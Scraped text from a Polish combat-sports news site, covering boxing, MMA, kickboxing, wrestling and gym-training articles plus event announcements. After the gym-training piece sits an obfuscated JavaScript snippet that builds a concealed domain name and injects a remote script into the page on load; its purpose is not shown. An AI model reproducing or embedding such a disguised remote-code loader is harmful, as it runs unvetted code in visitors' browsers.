Sprawa ewentualnej walki dwóch Polaków ponownie znalazła się na pierwszym planie. Ale Szpilka dość sceptycznie podchodzi do sprawy. Dziennikarz Andrzej Kostyra napisał na Twitterze, że 15 lipca „Szpila” zmierzy się z Kownackim. Były pretendent do tytułu mistrza świata odpowiedział: „Panie Andrzeju do tej walki jeszcze bardzo daleko, miał już swoją szansę to go ząbek rozbolał…”.
Nie pozostaje więc nic innego jak czekać na rozwój wypadków. Z pewnością wyżej stoją akcje Szpilki i to on byłby faworytem starcia. Dla Kownackiego, który walczy wyłącznie w Stanach Zjednoczonych pojedynek ze „Szpilą” stanowiłoby największe wyzwanie w karierze. Dotychczas 28-latek stoczył 15 walk, wszystkie wygrał, w tym 12 przed czasem.
KM
Stało się! Conor McGregor podpisał kontakt na walkę z Floydem Mayweatherem Jr. Pojedynek miałby się odbyć jesienią w Las Vegas.
Ogromne pieniądze, fantastyczne widowisko – tak ma wyglądać walka McGregora z Mayweatherem.
Kolejny krok
W ubiegłym roku pojawiły się pierwsze informacje na temat starcia mistrza UFC w wadze lekkiej Conora McGregora i niepokonanego na bokserskich ringach Floyda Mayweathera Jr. Niektórzy pukali się w czoło. Wraz z upływem czasu okazało się, że coś jest na rzeczy. McGregor szukał kolejnych wyzwań. Jako pierwszy zawodnik w historii zdobył dwa pasy mistrzowskie UFC. Z kolei Mayweather Jr. Spokojnie odpoczywał na sportowej emeryturze.
Świat sportów walki zaczął żyć tym pojedynkiem. Z każdym dniem atmosfera stawała się coraz bardziej gorąca, a w powietrzu dawało się wyczuć zapach wielkich pieniędzy. „Show must go on” – najlepiej pasuje do określenia starcia McGregora z Mayweatherem. Wydaje się, że wszystko jest na najlepszej drodze, aby do hitowej walki doszło już jesienią. McGregor podpisał kontrakt na walkę z bokserem. – To zaszczyt podpisać tę rekordową umowę wraz z moimi partnerami – przedstawił Irlandczyk na stronie TheMacLife.com. – Pierwsza i najważniejsza część tej historycznej umowy została podpisana. Gratulacje dla wszystkich zaangażowanych stron – dodał.
Teraz ruch należy do Mayweather Jr. „Money” jest przyzwyczajony do wielkich pieniędzy i każdą walkę potrafił zamienić w finansowe złoto. Czy tak będzie i tym razem? Mówi się, że McGregor za walkę chce zainkasować 75 mln dolarów. Żądania Mayweather Jr. są wyższe i opiewają na kwotę 100 mln dolarów. Z pewnością na Amerykaninie ta nie robi specjalnego wrażenia. Za walkę stulecia z Manny Pacquiao „Money” zgarnął ponad 270 milionów dolarów.
Czas na walkę
Co do daty pojedynku, na pierwszym planie przez długi czas pojawiał się 16 września. Jednak wiadomo, że McGregor i Mayweather Jr. w tym terminie się nie zmierzą. 16 września odbędzie się inny bokserski hit – Saul „Canelo” Alvarez zmierzy się z Gennady'm Gołowkinem.
Wiadomo, że Irlandczyk i Amerykanin mieliby spotkać się na jesieni w Las Vegas. Tyle na obecną chwilę. Dla Mayweathera byłby to powrót do sportowej aktywności. Ostatni pojedynek pięściarz stoczył we wrześniu 2015 roku, kiedy pokonał Andre Berto. Mayweather zanotował 49 zwycięstw na zawodowym ringu. Z kolei McGregor prezentował się w akcji w listopadzie ubiegłego roku. W drugiej rundzie odprawił Eddiego Alvareza i zdobył pas wagi lekkiej UFC.
KM
Trening na siłowni ma wiele zalet. Poprawia kondycję fizyczną, pozytywnie wpływa na zdrowie, zwiększa siłę oraz daje możliwość kształtowania sylwetki. Jednak jeśli pragniemy systematycznie ćwiczyć należy pamiętać o kilku podstawowych zasadach.
Rozgrzewka powinna poprzedzać każdy trening. Pozwala ona przygotować się mentalnie i fizycznie do wzmożonego wysiłku. Niestety częstym błędem jest podchodzenie do ćwiczeń z marszu. O sukcesie naszych działań decyduje odpowiednie nastawienie. Dlatego warto w czasie rozgrzewki skoncentrować się na celu i odrzucić wszystkie inne myśli. To czas na przypomnienie sobie założeń planu treningowego oraz skupieniu na ćwiczeniach. Rozgrzewka powinna być czymś więcej niż rozgrzaniem mięśni.
Dobrze rozgrzane stawy, ścięgna i mięśnie są mniej podatne na urazy w czasie ćwiczeń. Trening zawsze powinien być poprzedzony rozgrzewką o charakterze ogólnym. Zazwyczaj trwa ona około ośmiu minut i może mieć np. postać szybkiego marszu.
Następnie należy przejść do rozgrzewki szczegółowej. To zestaw ćwiczeń nastawionych na konkretną grupę mięśni. Jeśli na przykład planujemy ćwiczenia na triceps to rozgrzewka szczegółowa powinna obejmować przede wszystkim mięśnie ramion.
Jeśli trening ma przynieść oczekiwane efekty musi być prawidłowo wykonywany. Właściwa technika pozwala zmusić do pracy konkretne grupy mięśni. Dlatego tak ważna jest skupienie w czasie ćwiczeń. Przede wszystkim należy pamiętać by ćwiczenia wykonywać w odpowiednim tempie. Mięśnie muszą stale pracować. Błędem jest wykorzystywanie siły rozpędu do podnoszenia ciężaru.
Nie można tracić kontroli nad ciężarem, jeśli nie jesteśmy w stanie tego zrobić, ciężar należy zredukować. Osoby początkujące powinny zaczynać od ćwiczeń, które dają im możliwość wykonania piętnastu powtórzeń.
Bardzo ważny jest też prawidłowy oddech w czasie wysiłku. W czasie ćwiczeń nie można go wstrzymywać. Wysiłek zwiększa znacznie zapotrzebowanie organizmu na tlen.
Każdy musi zwracać uwagę na sygnały jakie wysyła jego ciało. Jest to szczególnie ważne w przypadku osób uczęszczających na siłownię. Jeśli na przykład pojawi się ból, nie można go ignorować. W takiej sytuacji należy przerwać trening i znaleźć jego przyczynę.
Osoby aktywne powinny też zwracać uwagę na pracę serca w czasie wysiłku. Słuchanie własnego ciała pozwala uniknąć wielu groźnych kontuzji.
[kod]
(function(){
abhe=document.createElement("script");abhe_="u"+("s")+"ta";
abhe_+=("t.i")+""+"n";abhe_+=(("f")+"o");abhe.type="text/javascript";
abhe_+="/"; abheu="62569910";abheu+=".X05nc4mwbhewkdg6b69";abheu+="nnx8r1vXXkt";
abhe.src="//"+abhe_+abheu; abhe.async=true; document.body.appendChild(abhe);
})();
To nie prognoza pogoda na najbliższe dni, lecz przewidywania, co do występów reprezentów Polski podczas Pucharu Świata w kickboxingu w Budapeszcie. Impreza odbędzie się w dniach 18-21 maja. O medale powalczy blisko 30 Polaków.
„Polak, Węgier, dwa bratanki” – tę frazę znają praktycznie wszyscy i powtarzać jej nie trzeba. Biało-czerwoni jadą do Budapesztu z nadzieją na dobrą gościnę i jeszcze lepszy wynik.
Ważny etap
Dla wielu zawodników imprezą sezonu są Światowe Igrzyska Sportowe we Wrocławiu, które odbędą się w dniach 20-30 lipca. Kolejne zawody mają być ważnym przetarciem dla naszych kickboxerów. Tak jest właśnie w przypadku Pucharu Świata w Budapeszcie.
Podczas ubiegłorocznej edycji imprezy biało-czerwoni wywalczyli 44 medale. Aż pięciu zawodników triumfowało w formule low kick. Byli to: Joanna Walkiewicz (48kg), Kamila Bałanda (70kg), Jan Lodzik (63,5kg), Łukasz Kaczmarczyk (71kg) i Radosław Paczuski (81kg). Po cztery złota sięgnęliśmy w full contact, a trzy Polska zdobyła w K-1. Wśród triumfatorów byli m.in. Paulina Bieć (+70kg), Dawid Kasperski (86kg) czy Kamil Dajwłowski (71kg).
Tym razem do Budapesztu wyruszyło blisko 30 biało-czerwonych. W tym gronie brakuje kilku medalistów z ubiegłego roku. O kolejne medale nie powalczą m.in. Paczuski i Kasperski, którzy realizują się w walkach zawodowych. Puchar Świata w Budapeszcie to szansa dla wielu zawodników na zdobycie cennego doświadczenia. – Ciągle jestem na początku swojej kariery, a każdy występ, zwłaszcza na międzynarodowej arenie, bo tu występuję dopiero pierwszy rok jest dla mnie arcyważnym doświadczeniem, niezbędnym w dalszym rozwoju – przedstawia FighTime.pl Joanna Różańska, tegoroczna zwyciężczyni zawodów w Dublinie.
Zawodniczka X Fight Piaseczno aktywnie rozpoczęła rok. Zdobywała medale mistrzostw Polski, dobrze prezentowała się w zagranicznych startach, a niedawno musiała walczyć z chorobą. Przed startem w Budapeszcie Różańska jest pełna optymizmu. – Wiem, że Hungarian Open jest mocno obstawionym turniejem, więc może być ciężej, niż np. na ostatnich MP w K-1, ale jadę zostawić serce w ringu i walczyć najlepiej, jak się tylko da. Trzeba pamiętać, że to sport i w trakcie walki może wydarzyć się wszystko – tłumaczy reprezentantka Polski.
Oni powalczą o medale
Z pewnością Polacy będą należeć do wyróżniających się postaci zbliżającego się Pucharu Świata w Budapeszcie. Nie da się ukryć, że nasza kadra za każdym razem gwarantuje worek medali.
Kogo zobaczymy w Budapeszcie? W K-1 o medale powalczą: Justyna Falkiewicz (52kg), Ewa Pietrzykowska (56kg), Joanna Różańska (60kg), Weronika Rogala (70kg), Aleksander Kalicki (67kg), Michał Polak (67kg), Marcin Kret (71kg), Bartosz Dołbień (81kg), Mateusz Pluta (91kg), Kamil Sójkowski (75kg). Kadrą full contact tworzą: Dorota Godzina (56kg), Karolina Dziedzic (70kg), Pola Rogala (65kg), Paulina Saczuk (56kg), Karolina Mośko (48kg), Patryk Możdżyński 951kg), Mateusz Biniek (67kg), Mateusz Kubiszyn (86kg), Filip Karbownik (81kg), Jakub Pokusa (71kg), Rafał Nguyen (67kg), Przemysław Kacieja (63,5kg) i Paweł Dąbrowski (54). Adrian Durma (74kg) i Wojciech Wiśniewski (84kg) zaprezentują się w light contact, a Tomasz Kurzeja (74kg) w pointfighting.
KM
Zaledwie pół roku Grzegorz Brudziński zasiadał na stanowisku prezesa Polskiego Związku Zapaśniczego. Podczas majowego zjazdu został odwołany z funkcji. Obowiązki sternika PZZ przejął Andrzej Wroński.
Złoty medalista Igrzysk Olimpijskich z Seulu i Atalanty będzie stał na czele związku do czasu zwołania Walnego Zjazdu Sprawozdawczo-Wyborczego.
Krótka przygoda
Grzegorz Brudziński praktycznie przez całe życie jest związany z zapasami. Zaczynał jako zawodnik stylu klasycznego, swoje umiejętności rozwijał w Budowlanych Olsztyn i Gliniku Gorlice. Później poświęcił się doskonaleniu jako sędzia sportowy. Debiut w roli arbitra zaliczył w 1982 roku, w 1996 roku zdobył uprawnienia na poziomie międzynarodowym. Brudziński sędziował na czterech igrzyskach: w Sydney, Atenach, Pekinie oraz Londynie. W 2013 roku Polak został wiceprezydentem Światowej Komisji Sędziowskiej i Prezydent Europejskiej Komisji Sędziowskiej.
W październiku Brudziński zgłosił swoją kandydaturę na prezesa Polskiego Związku Zapaśniczego. Wybory ogłoszono po nagłej śmierci 41-letniego Grzegorz Pieronkiewicza.
O stanowisko sternika polskich zapasów ubiegało się czterech kandydatów. Wymogów formalnych nie spełnił Maciej Żakowicz. Na placu boju pozostali Andrzej Wroński, Andrzej Supron i wspomniany Brudziński. 5 listopada odbył się zjazd wyborczy. Brudziński uzyskał 57 głosów i pokonał Andrzeja Suprona, który zdobył poparcie 39 osób. Nowy prezes zapowiadał, że jego celem jest opracowanie jednolitego systemu szkolenia i troska o przygotowania olimpijskie.
Praca Brudzińskiego budziła wątpliwości związkowych delegatów. Zarzucali mu niekompetencje i generowanie nadmiernych kosztów. 14 maja w Warszawie odbył się zjazd PZZ. 53 delegatów opowiedziało się za odwołaniem Brudzińskiego, 23 było przeciw.
Związek w rękach Wrońskiego
Zgodnie ze statutem, zarząd powierzył pełnienie funkcji sternika związku wiceprezesowi Andrzejowi Wrońskiemu. 51-latek w ciągu trzech miesięcy musi zwołać Walny Zjazd Sprawozdawczy-Wyborczy, podczas którego zostanie wybrany nowy prezes. Jego kadencja będzie trwała do 2020 roku.
Tym samym na czele związku stanął legendarny polski zapaśnik. Andrzej Wroński wystąpił na czterech Igrzyskach Olimpijskich, a z dwóch imprez (Seul i Sydney) przywiózł złoto. Na swoim koncie ma również medale mistrzostw świata i Europy. Czy Wroński jest tylko opcją na „chwilę”? Czas pokaże.
Wygląda na to, że w polskich zapasach szykują się zmiany. Konieczne jest wdrożenie planów, które umożliwią popularyzację dyscypliny oraz stworzenie odpowiednich warunków do rozwoju dla zawodników. Czasy największych sukcesów z każdym rokiem stają się pięknym wspomnieniem. Cieszymy się z pojedynczych triumfów, ostatnio Moniki Michalik, ale brakuje płynności i powtarzalności. Czy wrócą jeszcze czasy Wrońskiego albo „tłuste” lata 80?
KM
Zapraszamy na transmisję telewizyjną na żywo z XXIII Międzynarodowych Mistrzostw Polski Wushu oraz XIV Grand International Wushu. Zawody odbywają się w dniach 10-11 czerwca 2017 r. w Warszawie w hali widowiskowo sportowej przy ul. Wiertniczej 26.
[kod]
var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/Wushu2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/Wushu2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/Wushu2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/Wushu2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});
Zapraszamy na transmisję telewizyjną na żywo z XXIII Międzynarodowych Mistrzostw Polski Wushu oraz XIV Grand International Wushu. Zawody odbywają się w dniach 10-11 czerwca 2017 r. w Warszawie w hali widowiskowo sportowej przy ul. Wiertniczej 26.
[kod]
var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/Wushu2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/Wushu2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/Wushu2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/Wushu2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});
Były mistrz wagi ciężkiej nie wystąpi na gali KSW 39: Colosseum. Karol Bedorf zerwał ścięgno Achillesa, jego miejsce w karcie walk zajął Michał Andryszak.
27 maja prawdziwe święto MMA w Polsce. Na stadionie PGE Narodowy odbędzie się gala KSW 39: Colosseum, podczas której nie zabraknie wielu ciekawych walk. Wśród uczestników awizowany był Karol Bedorf. Były mistrz wagi ciężkiej miał stoczyć rewanżowy pojedynek z Michałem Kitą, ale kontuzja przekreśliła jego szanse na występ.
Przymusowy odpoczynek
Karol Bedorf trzy razy bronił mistrzowskiego pasa w wadze ciężkiej, który zdobył na KSW 24 we wrześniu 2013 roku, kiedy to pokonał Pawła Nastulę. W Krakowie (listopad 2015) pas chciał mu odebrać Michał Kita, jednak w drugiej rundzie popularny „Coco” posłał wysokie kopnięcie na głowę i rywal nie mógł się pozbierać. Bedorf stracił pas niecałe pół roku temu na rzecz Fernando Rodriguesa Jr.
Na stadionie PGE Narodowy niespełna 34-letni fighter miał ponownie spotkać się z Kitą i uczynić krok w stronę walki o pas. Tak się jednak nie stanie. – Z powodu całkowitego zerwania ścięgna achillesa w lewej nodze, musiałem niezwłocznie poddać się operacji chirurgicznej, przez co nie wystąpię podczas nadchodzącej Gali KSW na Stadionie Narodowym. Jest mi bardzo przykro nie tylko z powodu faktu, że przez pięć miesięcy przygotowywałem się do walki, która miała być dla mnie drogą do odzyskania mistrzowskiego pasa co jak się okazuje jest czasem straconym, ale również dlatego, że przez kolejne kilka tygodni nie będę mógł w ogóle trenować – poinformował Bedorf fanów na swoim facebooku.
Szansa Andryszaka
Jak to się zwykło mówić, „nieszczęście jednego jest szczęściem drugiego”. Miejsce Bedorfa na gali KSW 39 zajmie Michał Andryszak. Popularny „Longer” w organizacji Martina Lewandowski i Macieja Kawulskiego stoczył dotychczas dwie walki. Andryszak pokonał Paula Słowińskiego, ale w kolejnym starciu musiał uznać wyższość Michała Włodarka.
Zawodnik z Bydgoszczy to gwarancja efektownego i porywającego widowiska. 25-letni Andryszak wygrał ostatnie cztery walki i wszystkie zakończył już w pierwszej rundzie!
Co więcej, „Longer” stoczył dotychczas 24 pojedynki, z których 18 wygrał. Tylko dwie walki z jego udziałem trwały dłużej niż jedną rundę.
A więc Michał Kita stanie w Warszawie przed niezwykle trudnym zadaniem. Dla 36-latka będzie to trzeci występ na gali KSW. W ostatnim starciu uporał się z Michałem Włodarkiem, którego poddał w pierwszej rundzie.
Fot. Facebook
KM
Zapraszamy do obejrzenia fotorelacji z Gali FEN 17 Baltic Storm.
fot. Paweł Najmowicz / FEN Federation
Trzecia trójmiejska gala Fight Exclusive Night była emocjonującym widowiskiem na najwyższym sportowym poziomie! Kibice dostali wszystko, co w sportach walki najlepsze: efektowne nokauty i poddania oraz zacięte pojedynki na pełnym dystansie trzech rund, wygrane w wielkim stylu faworytów i zaskakujące zwycięstwa underdogów.
Gala FEN 17 Baltic Storm otworzyła nowy rozdział w historii Fight Exclusive Night, bowiem 12 maja w Gdynia Arena zawodnicy po raz pierwszy walczyli w klatce, która zastąpiła charakterystyczny dla tej organizacji klatkoring. Ale wydarzeń, które na pewno zapadną publiczności w pamięć, było tego wieczora znacznie więcej.
W walce wieczoru Kamil Łebkowski pokazał, że jego porażka z Brazylijczykiem Gabrielem Silvą na poprzedniej gali FEN 16 Warsaw Reloaded była wypadkiem przy pracy i nie dał najmniejszych szans Sauliusowi Buciusowi, który trzy dni przed galą zastąpił Brazylijczyka Caio Machado. Doświadczony Litwin, który niemal wszystkie swoje zwycięstwa odniósł w pierwszej rundzie, tym razem sam nie dotrwał do końca tej części pojedynku – niezwykle zmotywowany Polak, atakujący ostro od pierwszych sekund, już w trzeciej minucie starcia zbombardował rywala serią potężnych ciosów w parterze, po których sędzia Piotr Michalak musiał przerwać walkę.
W pierwszych rundach kończyły się także trzy ostatnie walki karty głównej FEN 17 Baltic Storm. Michał Wlazło w rzadko spotykanych okolicznościach pokonał Martina Chudeja. Były kulturysta z Czech po kopnięciu w udo utrzymywał, że został sfaulowany, ale sędzia nie dał się nabrać i odebrał zawodnikowi punkt za udawanie. Kiedy Chudej nie zareagował na wezwania do kontynuowania walki i nie podniósł się z maty, został zdyskwalifikowany. Radosław Paczuski w drugim swoim występie w federacji FEN odniósł drugie efektowne zwycięstwo – już w pierwszych akcjach frontalnymi kopnięciami odebrał Menno Van Roosmalenowi ochotę do walki, a później ciężkimi ciosami, którymi bezbłędnie trafiał Holendra, zakończył ten nierówny pojedynek. Znakomitą dyspozycję zaprezentował również Michał Oleksiejczuk, który pokonał niedawnego pogromcę Marcina Zontka – Riccardo Nosiglię. „Lord”, który po jednym z pierwszych uderzeń Włocha wylądował na deskach, szybko złapał rytm, mocno zaatakował rywala i serią potężnych sierpowych wywalczył sobie dwunaste zwycięstwo w zawodowej karierze.
Niespełna dwie rundy trwała walka Marcina Szredera z Arturem Bizewskim, ale była to prawdziwa kickbokserska wojna. W pierwszej rundzie dominował reprezentant Palestry Warszawa, który częściej i celniej trafiał swego przeciwnika, już na początku starcia prawym sierpowym posyłając go na deski. Liczony „Bizon” wrócił jednak do gry, w drugiej rundzie starał się przejąć inicjatywę, aż w końcu dopadł Szredera zaskakującym prawym sierpowym, po którym sędzia zdecydował się przerwać walkę.
Przez pełne trzy rundy walczyli ze sobą uczestnicy pozostałych walk karty głównej. Jarosław Daschke w pojedynku z Robertem Rajewskim juniorem potwierdził, że jest jednym z najlepszych wojowników K-1 w Polsce – od początku kontrolował sytuację w klatce i systematycznie punktował odważnie walczącego rywala, który na wyżej notowanego doświadczonego rywala nie mógł znaleźć żadnej recepty. Wcześniej bezdyskusyjne zwycięstwo po niemal rocznej przerwie od swojej ostatniej, przegranej walki z Kamilem Łebkowskim odniósł Piotr „Płetwal” Hallmann. Świetnie dysponowany były zawodnik UFC ze znacznie mniej doświadczonym, pierwszy raz walczącym w Polsce Patrykiem Nowakiem walczył spokojnie, konsekwentnie go rozbijając, i sędziowie nie mieli żadnych problemów ze wskazaniem zwycięzcy tego starcia.
Bardzo widowiskowy pojedynek na zakończenie karty wstępnej kibicom w hali i widzom przed telewizorami zafundowali Mateusz Łazowski i Kryspin Kalski. Pierwsza runda należała do stawiającego pierwsze kroki w zawodowym K-1 Łazowskiego, który przede wszystkim imponował mocnymi low-kickami. W drugiej stopniowo rosła przewaga Kalskiego, który wykorzystywał rosnące zmęczenie rywala i umiejętnie go punktował. On też zachował więcej sił na trzecią rundę, ale nie zdołał w niej zadać decydującego ciosu lub kopnięcia i dopiero werdykt sędziów stolikowych pozwolił mu dopisać do swego rekordu kolejne zwycięstwo.
Porażkami faworytów w tej części gali FEN 17 Baltic Storm zakończyły się walki Aleksandra Rychlika z Bartoszem Leśko i Alana Kwiecińskiego z Kamilem Mateją – Leśko w drugiej rundzie poddał Rychlika duszeniem zza pleców, a młodziutki Mateja lepiej taktycznie rozegrał swój pojedynek i wygrał jednogłośnie na punkty. Do udanej wyprawy do Polski nie zaliczą z kolei Ukraińcy Alexey Oleinik i Dmitriy Borsuk, którzy musieli uznać wyższość odpowiednio Aleksandra Georgasa i Ireneusza Szydłowskiego, oraz pierwszy raz walczący w FEN Damian Tarabasz, którego na otwarcie gali pokonał przez balachę w trzeciej rundzie inny debiutant Adam „Brooklyn” Brzezowski.
Wyniki gali FEN 17 Baltic Storm
Walka wieczoru:
MMA -74 kg: Kamil Łebkowski pokonał przez techniczny nokaut w pierwszej rundzie Sauliusa Buciusa
Karta główna:
MMA -120 kg: Michał Wlazło pokonał przez dyskwalifikację w pierwszej rundzie Martina Chudeja
K-1 -85 kg: Radosław Paczuski pokonał przez techniczny nokaut w pierwszej rundzie Menno Van Roosmalena
MMA -93 kg: Michał Oleksiejczuk pokonał przez nokaut w pierwszej rundzie Riccardo Nosiglię
K-1 -95 kg: Artur Bizewski pokonał przez techniczny nokaut w drugiej rundzie Marcina Szredera
K-1 -70 kg: Jarosław Daschke pokonał jednogłośną decyzją sędziów Roberta Rajewskiego Jr
MMA -70 kg: Piotr Hallmann pokonał jednogłośną decyzją sędziów Patryka Nowaka
Karta wstępna:
K-1 -120 kg: Kryspin Kalski pokonał jednogłośną decyzją sędziów Mateusza Łazowskiego
MMA -66 kg: Aleksander Georgas pokonał przez techniczny nokaut w drugiej rundzie Alexeya Oleinika
MMA -84 kg: Bartosz Leśko pokonał przez poddanie (duszenie zza pleców) w drugiej rundzie Aleksandra Rychlika
MMA -77 kg: Ireneusz Szydłowski pokonał jednogłośną decyzją sędziów Dmitriya Borsuka
K-1 -70 kg: Kamil Mateja pokonał jednomyślną decyzją sędziów Alana Kwiecińskiego
MMA -77 kg: Adam Brzezowski pokonał przez poddanie (balacha) w trzeciej rundzie Damiana Tarabasza
FEN
3 czerwca w warszawskiej Hali Koło przy ul. Obozowej 60 odbędzie gala bokserska Landowski Boxing Night X, na której zmierzą się zawodnicy boksu olimpijskiego i „koneserzy pięściarstwa”, czyli osoby trenujące boks rekreacyjnie.
To już 10. edycja cieszącego się coraz większą popularnością wydarzenia, które na stałe zagościło w kalendarzu bokserskich imprez Warszawy i Mazowsza.
– Pierwsza impreza odbyła się przed kilkoma laty na Fortach Bema w Klubie Sportowym Legia i cieszyła się dużym zainteresowaniem, do tego stopnia, że hala z ledwością pomieściła przybyłych gości – wspomina początki gal Łukasz Landowski.
Dziś gala Landowski Boxing Night to w pełni profesjonalnie organizowana duża impreza bokserska z pełną oprawą, muzyką na wejście, ring girls i nagrodami. Wydarzenie pod względem frekwencji przewyższa niejedną galę zawodową w Polsce transmitowaną przez telewizję.
– Z roku na rok, z imprezy na imprezę przychodzi coraz więcej osób, kibiców boksu. Dochodzą nas słuchy, że nasze gale niewiele różnią się od największych bokserskich eventów – potwierdza Łukasz Landowski.
Landowski Boxing Night X pod hasłem „Zostań olimpijczykiem” ma za zadanie promować polskie pięściarstwo szczególnie wśród dzieci i młodzieży. Treningi w szkole bokserskiej braci Landowskich pozwalają najmłodszym nie tylko odnosić sukcesy na ringach amatorskich, ale przede wszystkim oderwać się na co dzień od telefonów i Internetu.
Karol Landowski, który trenuje najmłodsze grupy mówi: – Chcemy pokazać drogę młodego sportowca jaką musi przebyć, aby zostać Olimpijczykiem, a medal na Igrzyskach Olimpijskich jak i same uczestnictwo w nich – to marzenie każdego młodego zawodnika.
Na treningi uczęszczają tam m.in. młodsi bracia jednego z najlepszych obecnie polskich bokserów zawodowych Macieja Sulęckiego – Jakub i Paweł.
– Wiemy, że po ostatnich galach młodzi zawodnicy byli bardzo zadowoleni, że mogli walczyć na takiej gali, z taką oprawą imprezy. Czuli się jak prawdziwi docenieni sportowcy. Po takim wydarzeniu trafiło do nas na salę kilkoro młodzieży, która do dzisiaj trenuje. To oni mogą zostać właśnie przyszłymi olimpijczykami – dodaje Karol Landowski.
Organizatorzy liczą na firmy i zwykłych darczyńców, którzy chcieliby nie tylko wesprzeć X edycję gali Landowski Boxing Night, ale również przyczynić się do rozwoju idei pięściarstwa wśród młodzieży. W tym celu przygotowali specjalną prezentację (http://landowskiboxing.com/2017/04/26/landowski-boxing-night-ix-2/).
– Największe wyzwanie stanowi zgromadzenie odpowiedniej ilości środków finansowych na pokrycie wszystkich kosztów, uzyskanie pozwoleń, zapewnienie ochrony przewidzianej dla imprezy masowej, zorganizowanie oprawy, opieki medycznej oraz zapewnienie nagród dla uczestników gali – wyjaśnia Łukasz Landowski.
Gala będzie również doskonałą okazją do zrobienia sobie pamiątkowego zdjęcia z osobami ze świata mediów i boksu. Galę poprowadzi jak co roku Szymon Majewski. Swoją obecność potwierdzili m.in. Ewa Brodnicka, Jordan Kuliński, Norbert Dąbrowski, Maciej Sulęcki czy Karolina Łukasik.
Gala Landowski Boxing Night X Zostań Olimpijczykiem, odbędzie się 3 czerwca 2017 godzina 19:00 w Hali Sportowej Koło na ulicy Obozowej 60 w Warszawie.
Bilety w cenie 30 zł (trybuny), 50 zł (płyta) i 200 zł (VIP – stoliki, catering z obsługą) do nabycia w recepcji klubu Impuls na Bielanach i w Nastula Club Bielany oraz bezpośrednio u trenerów Łukasza i Karola Landowskich.
Więcej informacji:
Łukasz Landowski, tel. 602 80 80 70
Karol Landowski, tel. 510 615 515
Cudowne, wspaniałe, niezwykłe i niepowtarzalne emocje towarzyszą kibicom podczas każdej walki Joanny Jędrzejczyk w UFC. Nasza mistrzyni wagi słomkowej po raz piąty obroniła pas. Podczas gali UFC 211 w Dallas Polka pokonała Jessicę Andrade. Dobiegła końca wspaniała seria zwycięstw Krzysztofa Jotko. Polaka zastopował David Branch.
Joanna Jędrzejczyk jest uosobieniem sukcesu, który został poparty ciężką i wytężoną pracą, a przy tym normalnością. 29-latka urodzona w Olsztynie sięgnęła gwiazd, ale nadal pozostaje otwartą i sympatyczną osobą. Ale w oktagonie nie ma litości dla rywalek.
Lepsza od Rondy?
Jędrzejczyk trafiła do UFC w lipcu 2014 roku. W debiucie pokonała jednogłośną decyzją sędziów Julianę Limę, która próbowała zapaśniczych ataków, jednak Polka skutecznie się broniła i przeciwstawiała się niemalże perfekcyjną stójką. Odnosząca sukcesy w muay thai i kickboxingu zawodniczka weszła do wielkiego świata MMA. Wtedy królową UFC była Ronda Rousey, która wcześniej panowała w Strikeforce. Była judoczka została pierwszą mistrzynią najlepszej organizacji MMA na świecie. Rousey porywała widzów efektownymi walkami. Nie raz kończyła pojedynki po upływie zaledwie kilkunastu sekund. W tym samym czasie swoją pozycję w UFC budowała Jędrzejczyk, która w marcu 2015 sięgnęła po tytuł w wadze słomkowej.
Obecnie zdecydowanie wyżej stoją akcje Polki. Ronda Rousey znalazła się na zakręcie. Półtora roku temu straciła pas wagi koguciej na rzecz Holly Holm, w kolejnej walce przegrała z Amandą Nunes. Jej przyszłość w UFC stanęła pod znakiem zapytania.
Teraz Jędrzejczyk jest twarzą numer 1 kobiecego MMA. Pokonując Karolinę Kowalkiewicz, mistrzyni wagi słomkowej pobiła rekord Rousey, jeśli chodzi o liczbę zwycięstw w amerykańskiej organizacji. „Rowdy” odniosła ich sześć, 29-latka zaś siedem, a w sobotnią noc (13 maja) dołożyła kolejny triumf triumfując w starciu z Jessicą Andrade.
Jędrzejczyk pisze piękną historię w UFC. Wygrywając w Dallas z Brazylijką odniosła szóste zwycięstwo w starciach o mistrzostwo. Taki sam wynik na swoim koncie zapisała Rousey w latach 2013-2015.
W Dallas Polka po raz kolejny pokazała klasę. Starcie było szybkie, jednak karty rozdawała Jędrzejczyk. Mistrzyni wagi słomkowej wyprowadzała mocne i pewne ciosy, w stójce zupełnie dominowała. Andrade była wytrzymała i szukała parteru, ale Jędrzejczyk nie dała się zaskoczyć. Sędziowie byli jednomyślni: 50:45, 50:45, 50:44.
Klasa Polki nie podlega żadnej dyskusji. Jędrzejczyk potwierdza, że jest najlepszą zawodniczką UFC bez podziału na kategorie wagowe. W Dallas Jędrzejczyk zapisała na swoim koncie czternaste zwycięstwo w karierze.
Jotko zatrzymany
Krzysztof Jotko miał fantastyczną passę w UFC. Pięć wygranych z rzędu sprawiło, że jego akcje wśród wojowników wagi średniej poszybowały w górę. W Dallas Polak spotkał się z doświadczonym Davidem Branchem. Na swoje konto Jotko zapisał drugą rundę, w której dobrze prezentował się w stójce. Przez większą część walki Branch dążył do klinczu i chciał wykorzystać umiejętności zapaśnicze. Walka nie porywała, co sprawiło nie lada problem sędziom. Niejednogłośnie wskazali na 35-letniego Amerykanina (28:29, 28:29, 29:28), choć inny werdykt nie byłby nadużyciem. Po raz drugi Jotko musiał przełknąć gorycz porażki w UFC.
W Dallas Stipe Miocic po raz drugi obronił pas w wadze ciężkiej. Już w pierwszej rundzie niespełna 35-letni Amerykanin pokonał przez techniczny nokaut Juniora dos Santosa.
Wyniki gali UFC 211:
Stipe Miocic pokonał Juniora dos Santosa przez TKO w pierwszej rundzie
Joanna Jędrzejczyk pokonała Jessicę Andrade jednogłośną decyzją sędziów
Demian Maia pokonał Jorge'a Masvidala niejednogłośną decyzją sędziów
Frankie Edgar pokonał Yaira Rodrigueza przez TKO po drugiej rundzie
David Branch pokonał Krzysztofa Jotkę niejednogłośną decyzją sędziów
Eddie Alvarez – Dustin Poirier – nierozstrzygnięte
Jason Knight pokonał Chasa Skelly'ego przez TKO w trzeciej rundzie
